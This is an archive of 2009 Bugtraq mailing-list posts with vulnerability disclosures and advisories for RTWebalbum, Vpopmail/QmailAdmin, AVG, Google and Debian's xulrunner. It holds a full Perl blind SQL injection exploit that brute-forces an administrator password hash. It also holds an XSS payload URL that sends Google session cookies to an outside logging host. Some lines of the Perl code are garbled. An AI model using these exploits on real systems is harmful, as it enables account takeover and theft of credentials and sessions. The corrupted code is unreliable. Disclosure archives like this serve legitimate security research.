"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
�Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSgQqgOAfOvwtKn1ZEQKVVQCbBm0jpmdeMZnewwQKPvLajCSFg8MAoPCU
d4u2tBjyNFTBgv864M/7bJ6K
=NwdJ
-----END PGP SIGNATURE-----
From - Fri May 8 13:07:55 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000778a
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40262-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id ABA4DECEA9
for <lists@securityspace.com>; Fri, 8 May 2009 13:04:14 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 13ABC143A07; Fri, 8 May 2009 10:59:31 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 14639 invoked from network); 8 May 2009 16:39:42 -0000
Date: 8 May 2009 16:39:42 -0000
Message-ID: <20090508163942.26572.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: y3nh4ck3r@gmail.com
To: bugtraq@securityfocus.com
Subject: BLIND SQL INJECTION exploit (GET var 'AlbumID')--RTWebalbum
1.0.462-->
Status:
#!/usr/bin/perl
#-----------------------------------------------------------------
#BLIND SQL INJECTION (GET var 'AlbumID')--RTWebalbum 1.0.462-->
#-----------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB:
http://rtwebalbum.x12.pl/
#-->DOWNLOAD:
http://sourceforge.net/projects/rtwebalbum/
#-->DEMO:
http://rtwebalbum.x12.pl/
#-->CATEGORY: CMS / Image Gallery
#-->DESCRIPTION: Free web album scripts in PHP. Include administration panel to easy
# manage content of album. If you decide to use this web...
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "2007 Rafal Kucharski"
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: v1.0.462 (maybe <= ?)
#-->Discovered Bug date: 2009-05-04
#-->Reported Bug date: 2009-05-04
#-->Fixed bug date: 2009-05-06
#-->Info patch (1.0.574):
http://sourceforge.net/projects/rtwebalbum
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#-----------
#BUG FILES:
#-----------
#
#Path --> [HOME_PATH]/index.php
#It contents:
# ...
#
# if (!isset($_GET['AlbumId'])) {
# $AlbumId = 0;
# } else {
# $AlbumId = $_GET['AlbumId'];
# }
#
# ...
#
#
#if ($AlbumId <> 0){
#
# $picArr = array();
# $query = "SELECT * FROM pictures WHERE AlbumID=".$AlbumId." order by ID";
# $result=mysql_query($query);
#
# ...
#}
#------------
#CONDITIONS:
#------------
#
#
#**Exist a valid image with title
#
#**gpc_magic_quotes=off/on
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#
http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=1%23 --> title is displayed (true)
#
#
http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=0%23 --> title is not displayed (false)
#
#
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit");
system ("color 03");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[XxX] RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit\n";
print "\t[XxX] USAGE MODE: [XxX]\n";
print "\t[XxX] perl $0 [HOST] [PATH] [AlbumID]\n";
print "\t[XxX] [HOST]: Web.\n";
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
print "\t[XxX] [AlbumID]: Valid AlbumID.\n";
print "\t[XxX] Example: perl $0 'www.example.es' 'rtwebalbum' '1'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n";
print "\tMaybe --> \n";
print "\t1.-Patched\n";
print "\t2.-AlbumID doesn't exist\n";
print "\t3.-AlbumID hasn't available image\n";
print "\t4.-output needs more characters\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS VULNERABLE!\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n";
}
sub password {
#Finally password...md5= 32-digits
$k=1;
$zH;
while(($k<2) && ($z<6)){
my $blindsql=$_[0].'+AND+ascii(substring((SELECT+password+FROM+config),'.$k.',1))='.$z.'%23';
$output=&request($blindsql);
if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/))
{
$pass=$pass.chr($z);
$k++;
$zG;
}
if($z=W)
{
$z�;
}
#new char
$z++;
}
return $pass;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## RTWebalbum v1.0.462 - BLIND SQL Injection Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $AlbumID=$ARGV[2];
#Build the uri
if($path eq "no-path"){
$finalhost="
http://".$host."/index.php?AlbumId=".$AlbumID;
}else{
$finalhost="
http://".$host."/".$path."/index.php?AlbumId=".$AlbumID;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1=1%23"; #blind sql injection
$output=&request($blindsql);
if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing password...
$passhash=&password($finalrequest);
print "\n\t\t*************************************************\n";
print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin: admin (always)\n";
print "\t\tAdmin-password(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
From - Fri May 8 17:09:38 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000778d
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40263-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id E4DFBECEB6
for <lists@securityspace.com>; Fri, 8 May 2009 17:01:16 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 2FD32143865; Fri, 8 May 2009 12:48:59 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 18685 invoked from network); 8 May 2009 18:38:15 -0000
Date: Fri, 8 May 2009 20:37:46 +0200
From: Jacobo Avariento Gimeno <advisories@sofistic.net>
To: bugtraq@securityfocus.com
Subject: Vpopmail/QmailAdmin User's Quota Multiple Integer Overflows
Message-ID: <20090508203746.5a663d2b@sofistic.net>
Organization: Sofistic
X-Mailer: Claws Mail 3.7.1 (GTK+ 2.16.1; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Status:
Author: Jacobo Avariento Gimeno (Sofistic S.L.)
Contact: [jacobo [at] sofistic.net]
Release Date: May 8, 2009
CVE/bugtraq id: Not assigned yet
Severity: Low/Medium
Vendor's Description of Software:
-------------------------------------------------------------------------------------
„Vpopmail is a free GPL package developed by Inter7 to provide an easy
way to manage virtual email domains and non /etc/passwd email accounts
for qmail or postfix mail servers.“ [1]
„qmailAdmin is a free software package that provides a web interface
for managing a qmail system with virtual domains.“ [2]
Description of Vulnerability:
-------------------------------------------------------------------------------------
Vpopmail and QmailAdmin are prone to several Integer Overflows due that
numeric types of more range are needed to store user's quota nowadays.
Using an integer is not enough because gets overflowed when the user
has more than 2 Gigabytes in his/her mailbox, furthermore a long
integer is neither the solution because a long integer has the same
range than an integer in 32-bits machines.
Vulnerable versions:
-------------------------------------------------------------------------------------
*ALL*
Analysis of the vulnerable code:
-------------------------------------------------------------------------------------
There are several functions/files to fix in vpopmail and qmailadmin:
* vpopmail-5.5.0: quota.c, function quota_percent
* vpopmail-5.5.0: vuserinfo.c, function display_user
* qmailadmin-1.2.12: function quota_to_megabytes
* qmailadmin-1.2.12: function maildirquota.c, wrapreaduserquota,
readdomainquota, readuserquota
* …
In general, any variable that holds user's quota.
Proof of Concept:
-------------------------------------------------------------------------------------
Just try to set more than 2GB quota to a user ("./vsetuserquota
user@domain $((3*1024*1024*1024))") and see with ("./vuserinfo
user@domain") that the user's quota usage is always 100%, or with
qmailadmin the quota never grows, gets stalled at 2048 MB.
Put more than 2 GB of data in a mailbox and see that the quota
overflows, i.e. -1114.49 / unlimited.
Solution:
-------------------------------------------------------------------------------------
There are no official patches yet, all the sysadmins that use
vpopmail/qmailadmin should be aware of this because vendor gave me no
date to release a new version or patch.
To fix that, no "int" neither "long" neither "off_t" should be used,
using a "long long int" the problem is just fixed until the near
future :) Also, casting is neither a solution when the variable was
already overflowed as in newest version (vpopmail 5.5.0: maildirquota.c
line 294).
Disclosure Timeline:
-------------------------------------------------------------------------------------
* 20/Apr/2009: Vendor is first time notified.
* 20/Apr/2009: Vendor responses that was already fixed in 5.5 branch.
* 23/Apr/2009: Vendor is notified again that the problem was not fixed.
* 23/Apr/2009: Vendor responses that there is no qmailadmin version
compatible with 5.5 branch yet.
* 29/Apr/2009: Vendor is asked when they are planning to release patch
or new version and no response was received.
* 8/May/2009: Public Disclosure of the vulnerability.
References:
-------------------------------------------------------------------------------------
[1]
http://www.inter7.com/index.php?page=vpopmail
[2]
http://www.inter7.com/index.php?page=qmailadmin
This advisory was also published at
http://www.sofistic.net/advisories/0901
--
Jacobo Avariento Gimeno
IT Security Department @ Sofistic
Your security, our concern!
http://sofistic.net
"En los momentos débiles, las acciones más fuertes"
From - Sat May 9 11:40:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000789b
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40267-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id B5FA9ECF19
for <lists@securityspace.com>; Sat, 9 May 2009 11:30:20 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 70B19143810; Sat, 9 May 2009 09:26:03 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8128 invoked from network); 9 May 2009 12:06:32 -0000
Resent-Cc: recipient list not shown: ;
Resent-Date: Sat, 9 May 2009 06:06:29 -0600
Resent-Message-Id: <200905091206.n49C6TGE012202@mx1.securityfocus.com>
Date: Sat, 9 May 2009 14:05:35 +0200
From: Thierry Zoller <Thierry@Zoller.lu>
X-Priority: 3 (Normal)
Message-ID: <1522363377.20090509140535@Zoller.lu>
To: bugtraq <bugtraq@securityfocus.com>,
full-disclosure <full-disclosure@lists.grok.org.uk>,
<info@circl.etat.lu>, <vuln@secunia.com>, <cert@cert.org>,
<nvd@nist.gov>, <cve@mitre.org>
Subject: [TZO-20-2009] AVG ZIP evasion / bypass
Resent-From: Thierry Zoller <Thierry@Zoller.lu>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: quoted-printable
X-Originating-IP: 91.50.115.26
Status:
________________________________________________________________________
From the low-hanging-fruit-department - AVG generic ZIP bypass / evasion
________________________________________________________________________
CHEAP Plug :
****
You are invited to participate in HACK.LU 2009, a small but concentrated
luxemburgish security conference. More information :
http://www.hack.lu
CFP is open, sponsorship is still possible and warmly welcomed!
****
Release mode: Coordinated but limited disclosure.
Ref : [TZO-20-2009] - AVG generic ZIP bypass / evasion
WWW :
http://blog.zoller.lu/2009/04/avg-zip-evasion-bypass.html
Vendor :
http://www.AVG.com
Status : Patched (with engine build 8.5 323)
CVE : none provided
Credit : t.b.a
OSVDB vendor entry: none [1]
Security notification reaction rating : good
Notification to patch window : +-28 days
Comment:
Interestingly at AVG, the support department handles the security
notification response, which strangely seemed to work out this time. I guess when
procedures and awareness are in place it doesn't matter that much.
(You loose the "bouncer effect" for irrelevant reports though). I'd recommend
to designate one person to be responsible to security related issues, and "train"
the others to forward to that person (even in case of doubt if security or not)
if you choose to have support department handle security notifications.
Disclosure Policy :
http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
Affected products :
- AVG Anti-Virus Network Edition (prior to engine build 8.5 323)
- AVG Internet Security Netzwerk Edition (prior to engine build 8.5 323)
- AVG Server Edition f�r Linux/FreeBSD (prior to engine build 8.5 323)
- AVG eMail Server Edition (prior to engine build 8.5 323)
- AVG File Server Edition (prior to engine build 8.5 323)
- AVG Internet Security SBS Edition (prior to engine build 8.5 323)
- AVG Anti-Virus SBS Edition (prior to engine build 8.5 323)
- AVG Anti-Virus plus Firewall (prior to engine build 8.5 323)
- AVG Anti-Virus (prior to engine build 8.5 323)
I. Background
~~~~~~~~~~~~~
Quote: "Founded in 1991, with corporate offices in Europe, the US
and the UK, AVG is focused on providing home and business computer
users with the most comprehensive and proactive protection against
computer security threats.
With more than 80 million active users around the world, the AVG
family of security software products is distributed globally through
resellers and through the Web and supports all major operating
systems and platforms."
II. Description
~~~~~~~~~~~~~~~
The parsing engine can be bypassed by a specially crafted and formated
ZIP (Filelenght) archive.
III. Impact
~~~~~~~~~~~
A general description of the impact and nature of AV Bypasses/evasions
can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html
The bug results in denying the engine the possibility to inspect
code within RAR and ZIP archives. There is no inspection of the content
at all and hence the impossibility to detect malicious code.
IV. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~~
DD/MM/YYYY
10/04/2009 : Send proof of concept, description the terms under which
I cooperate and the planned disclosure date.
14/04/2009 : AVG acknowledges reproducibility
14/04/2009 : I inform AVG that this is a security notification not a simple
bug report.
15/04/2009 : AVG acknowledges through a second channel
15/04/2009 : AVG informs me that the fix has been made and the code is
currently being tested prior to being deployed.
15/04/2009 : Ask second channel AVG contact what versions and products
are affected.
no reply
07/05/2009 : Ask AVG wether the patches have now been deployed
08/05/2009 : AVG answers that the patches have been deployed
08/05/2009 : Ask AVG what versions have been affected
08/05/2009 : AVG states that "[..]AVG 8.5 build 285 are affected by this
issue but the latest release of AVG 8.5 build 323 has
resolved the reported issue.[..]"
08/05/2009 : Release of this advisory.
[1]
Grisoft (AVG) is encouraged to leave their security contact details at
http://osvdb.org/vendor/1/Grisoft to facilate communication and reduce
lost reports.
From - Sat May 9 11:40:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000789c
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40264-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id E59ECECF1F
for <lists@securityspace.com>; Sat, 9 May 2009 11:36:11 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 3DDFE143721; Sat, 9 May 2009 08:40:53 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 29656 invoked from network); 9 May 2009 02:03:15 -0000
Date: 9 May 2009 02:03:15 -0000
Message-ID: <20090509020315.3672.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: Inferno@SecureThoughts.com
To: bugtraq@securityfocus.com
Subject: Universal XSS in all Google Services
Status:
Universal XSS Vulnerability in all Google Services can compromise your personal information
May 8th, 2009
Vulnerability Reported: 04/18/2009 9.33 pm
Google�s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday :))
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm
I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google�s Support Python Script where a malicious url is not sanitized for XSS character � (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.
The only limitation was the following characters were either filtered out or url encoded - � (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.
Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to
1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
�. and there should be still some more things remaining that you can play with.
Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-
http://google.com/support/webmasters/bin/answer.py?answer4575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src�&lev=index
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-
http://google.com/support/webmasters/bin/answer.py?answer4575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src�&lev=index
I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.
From - Sat May 9 11:50:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000789d
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40265-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id C36B8ECF8E
for <lists@securityspace.com>; Sat, 9 May 2009 11:41:46 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 00F0014378F; Sat, 9 May 2009 08:41:33 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 31831 invoked from network); 9 May 2009 03:15:24 -0000
X-Inbound-SFSU: False
X-onepass: IPPSC
X-From-SFSU: True
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: ApoEAIuSBEqC1Apk/2dsb2JhbAC/egEJBYcPiE8BgjYUgTIFhgU
Message-ID: <4A04F54A.3060600@sfsu.edu>
Date: Fri, 08 May 2009 20:15:22 -0700
From: Alex Keller <alkeller@sfsu.edu>
Reply-To: alkeller@sfsu.edu
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Subject: speaker Bill Blunden on Rootkits...
X-Enigmail-Version: 0.95.7
X-MIMETrack: Itemize by SMTP Server on MAIL01a/SERVERS/SFSU(Release 7.0.4|March 23, 2009) at
05/08/2009 20:15:21,
Serialize by Router on SMTP01/SERVERS/SFSU(Release 7.0.3HF378 | February 28, 2008) at
05/08/2009 20:15:23,
Serialize complete at 05/08/2009 20:15:23
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=UTF-8
Status:
for those of you near the San Francisco Bay Area, a free talk on
rootkits next Friday at San Francisco State University. please RSVP to
me <alkeller@sfsu.edu> so i can get head count.
best,
alex
---------------------------------------
Next Friday Bill Blunden of San Francisco State University will be
presenting on rootkits and select topics from his soon to be published
book "The Rootkit Arsenal: Escape and Evasion in the Dark Corners of
the System".
author's website:
http://www.belowgotham.com/RootkitArsenal.htm
review on Slashdot:
http://books.slashdot.org/article.pl?sid /04/15/1327247&from=rss
When: Noon-1:30pm on Friday 5/15/2009
What: This discussion will provide an overview of rootkits that
describes the core services which the technology offers and how these
services are implemented in practice. Special emphasis will be given
to system modification tactics and anti-forensic countermeasures.
Finally, this presentation will examine who is using rootkits and
briefly comment on analogies in the political arena.
Where: San Francisco State University, 1600 Holloway Ave
HSS Building, Room 362, San Francisco CA
PLEASE RSVP to Alex Keller <alkeller@sfsu.edu>
Google Maps to Campus:
http://tiny.cc/PhUPv
Campus Map:
http://www.sfsu.edu/~sfsumap/
There are a myriad of public transportation options for getting to SF
State:
http://www.sfsu.edu/~parking/directions/
Street parking is often scarce so please allow yourself time to park
and walk to the campus. There is also a parking lot available for
$1/hour:
http://www.sfsu.edu/~parking/text/parking.html
This talk is sponsored by Academic Technology and our venue has been
graciously provided by the College of Behavioral and Social Sciences.
Refreshments will be provide, please feel free to bring your lunch.
--
Alex Keller
Systems Administrator
Academic Technology, San Francisco State University
Office: Burk Hall 153 Phone: (415)338-6117 Email: alkeller@sfsu.edu
From - Sat May 9 12:00:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000789e
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40269-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id F2196ECF8B
for <lists@securityspace.com>; Sat, 9 May 2009 11:54:22 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id D22A914390E; Sat, 9 May 2009 09:26:36 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8807 invoked from network); 9 May 2009 13:00:57 -0000
Resent-Cc: recipient list not shown: ;
Old-Return-Path: <jmm@inutil.org>
X-Original-To: lists-debian-security-announce@liszt.debian.org
Delivered-To: lists-debian-security-announce@liszt.debian.org
X-Virus-Scanned: at lists.debian.org with policy bank moderated
X-Spam-Flag: NO
X-Spam-Score: -10.58
X-Spam-Level:
X-Spam-Status: No, score=-10.58 tagged_above=-10000 required=5.3
tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
IMPRONONCABLE_2=1, LDO_WHITELIST=-5, MURPHY_WRONG_WORD1=0.1,
MURPHY_WRONG_WORD2=0.2, PGPSIGNATURE=-5] autolearn=ham
X-policyd-weight: using cached result; rate: -6.1
Date: Sat, 9 May 2009 15:00:16 +0200
From: Moritz Muehlenhoff <jmm@debian.org>
Message-ID: <20090509130016.GA9669@galadriel.inutil.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-SA-Exim-Connect-IP: 82.83.210.187
X-SA-Exim-Mail-From: jmm@inutil.org
X-SA-Exim-Scanned: No (on inutil.org); SAEximRunCond expanded to false
X-Debian: PGP check passed for security officers
Subject: [SECURITY] [DSA 1797-1] New xulrunner packages fix several vulnerabilities
Priority: urgent
Resent-Message-ID: <blJmyJvIyH.A.8DB.E6XBKB@liszt>
Reply-To: listadmin@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
To: bugtraq@securityfocus.com
Resent-Date: Sat, 9 May 2009 13:00:52 +0000 (UTC)
Resent-From: list@liszt.debian.org (Mailing List Manager)
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- ------------------------------------------------------------------------
Debian Security Advisory DSA-1797-1 security@debian.org
http://www.debian.org/security/ Moritz Muehlenhoff
May 09, 2009
http://www.debian.org/security/faq
- ------------------------------------------------------------------------
Package : xulrunner
Vulnerability : several
Problem-Type : remote
Debian-specific: no
CVE ID : CVE-2009-0652 CVE-2009-1302 CVE-2009-1303 CVE-2009-1304 CVE-2009-1305 CVE-2009-1306 CVE-2009-1307 CVE-2009-1308 CVE-2009-1309 CVE-2009-1311
Several remote vulnerabilities have been discovered in Xulrunner, a
runtime environment for XUL applications, such as the Iceweasel web
browser. The Common Vulnerabilities and Exposures project identifies
the following problems:
CVE-2009-0652
Moxie Marlinspike discovered that Unicode box drawing characters inside of
internationalised domain names could be used for phishing attacks.
CVE-2009-1302
